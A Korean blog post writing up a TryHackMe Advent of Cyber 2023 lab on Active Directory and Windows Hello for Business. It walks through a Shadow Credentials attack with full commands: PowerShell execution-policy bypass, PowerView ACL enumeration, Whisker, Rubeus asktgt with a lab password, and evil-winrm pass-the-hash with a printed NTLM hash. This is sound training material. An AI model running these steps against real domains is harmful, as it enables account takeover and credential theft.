선릉역 1번 출구
[adventofcyber2023] - Day_11_Active Directory Jingle Bells, Shadow Spells 본문
[adventofcyber2023] - Day_11_Active Directory Jingle Bells, Shadow Spells
choideu 2023. 12. 12. 17:48Story: AntarctiCrafts의 조직은 일부 사용자가 너무 많은 권한을 가지고 있음
목표: Active Directory 이해, 비지니스용 Windows Hello 소개, GenericWrite 권한을 활용하기 위한 전제 조건 이해, Shadow Credentials 공격의 작동 방식 이해, 취약점 악용하는 방법 공부
1. Active Directory
- AD는 Windows 환경에서 기업이 주로 사용하는 시스템으로 중앙 집중식 인증 시스템임
- DC(도메인 컨트롤러)는 AD의 핵심이며 일반적으로 도메인 내 데이터 저장, 인증 및 권한 부여를 관리함
- AD는 각각 특정 속성과 권한을 가진 사용자, 그룹, 컴퓨터 등의 개체를 포함하는 디지털 데이터베이스임
2. WHfB(Windows Hello for Business)
- Microsoft가 기존 암호 기반 인증을 대체하는 방식으로 도입
- 기존 비밀번호에 의존하는 대신 사용자 확인을 위해 암호화 키를 사용함
- Active Directory 도메인의 사용자는 공개 및 비공개 암호화 키 쌍에 연결된 PIN 또는 생체 인식을 사용해 AD에 엑세스할 수 있음
- msDS-KeyCredentialLink : 도메인 컨트롤러가 새 사용자 장치(ex: 컴퓨터)를 등록할 때 사용하는 속성
- WHfB를 사용해 인증서를 저장하는 절차
- TPM public / private key 생성 : TPM은 사용자가 등록할 때 사용자 계정에 대한 public-private key pair를 생성함
- TPM은 trusted platform module로 디바이스의 하드웨어 기능 중 하나임 / 안전한 키를 저장함
- 클라이언트 인증서 요청 : 클라이언트는 신뢰할 수 있는 인증서를 받기 위해 인증서 요청을 시작함. 조직의 CA는 이 요청을 수신하고 유효한 인증서를 제공함
- 키 저장소 : 사용자 계정의 msDS-KeyCredentialLink 속성이 설정됨
- 인증 프로세스
- msDS-KeyCredentialLink 인증 : 도메인 컨트롤러는 사용자 계정의 속성에 저장된 원시 공개키를 사용해 클라이언트의 사전 인증 데이터를 해독함
- 인증서 생성 : 도메인 컨트롤러가 사용자를 위해 인증서를 생성하고 클라이언트로 다시 보낼 수 있음
- 인증 : 클라이언트는 인증서를 사용해 Active Directory 도메인에 로그인 가능
*왜 더 안전한가?
client의 device에 내장된 TPM에 개인키가 저장되기 때문에 공격자가 비밀번호를 탈취한다고 해도 해당 정보를 암호화해서 전달하기 어려움. 즉 해당 기능은 디바이스의 신뢰성을 검증하기 때문에 더 안전함
3. Enumeration
- 임의의 Powershell 스크립트 실행에 대한 기본 정책 우회
powershell -ep bypass
*bypass를 하지 않으면 error 발생
- PowerView 스크립트를 메모리에 로드
. .\PowerView.ps1
*Powerview란? : 침투한 시스템에서 추가 정찰을 수행하는 기능
[출처] “파워스플로잇” 과 “파워셀 엠파이어”|작성자 AEP코리아네트
AEP코리아네트 : 네이버 블로그
영국 Ultra Cyber 사의 제품을 한국에 공급하고 있습니다. X.25 Gateway 장비, HSM 장비를 국내에 공급하고 있습니다. (www.kn.co.kr)
blog.naver.com
- Powerview에 정의된 함수들을 사용해 enumeration 진행
1) Find-InterestingDomainACL : 모든 사용자의 권한을 반환

2) Where-Object {$_.IdentityReferenceName -eq "hr"} : 구체적인 사용자 "hr" 필터링
3) Select-Object IndentityReferenceName, ObjectDN, ActiveDirectoryRights 열 필터링
- hr은 vansprinkles에 대한 GenericWrite 권한을 가짐
=> 해당 권한을 사용해 msDS-KeyCredentialLink를 인증서로 업데이트함으로써 해당 계정을 침해 가능함(Shadow Credentials 공격)
4. Exploitation
- Whisker 도구 : C#으로 만들어진 취약한 권한 남용 도구
- Whisker add를 사용해 악의적인 디바이스 등록을 시뮬레이션하고 'msDS-KeyCredentialLink' 속성을 업데이트함
- Rubeus 도구 : 취약한 사용자를 위조하여 인증하는 데 필요한 인증서 제공 도구
- 직접적인 kerberos 상호 작용 및 이용을 위해 설계, pass the hash 공격이 포함됨
- 이전 명령에서 생성된 인증서를 사용해 취약한 사용자의 TGT를 요청해 공격함
.\Rubeus.exe asktgt /user:vansprinkles /certificate: 생략 /password:"XxZHIdP-fVdZ5pkb" /domain:AOC.local /dc:southpole.AOC.local /getcredentials /show
명령 | 설명 |
asktgt | TGT를 획독하라는 요청 |
/user | TGT에 대해 가장하려는 사용자 |
/certificate | 대상 사용자를 가장하기 위해 생성된 인증서 |
/password | 인증서를 디코딩하는 데 사용되는 비밀번호 |
/domain | 대상 도메인 |
/getcredentials | 다음 단계에서 사용될 NTLM 해시 검색 |
/dc | TGT를 생성할 도메인 컨트롤러 |
- 공격 결과 TGT, NTLM 생성됨
- Evil-WinRM 도구 : Windows 원격 관리 도구인 WinRM 프로토콜을 남용해 Windows 시스템을 원격으로 관리하는 도구
evil-winrm -i 10.10.189.160 -u vansprinkles -H 03E805D8A8C5AA435FB48832DAD620E3
옵션 | 설명 |
-i | IP |
-u | User |
-H | NTLM의 HASH |
- 원격 접속 성공
- 관리자 계정으로 이동하여 flag 확인
사이트
Whisker | https://github.com/eladshamir/Whisker |
Rebeus | https://github.com/GhostPack/Rubeus |
참고 | https://pentestlab.blog/tag/whisker/ |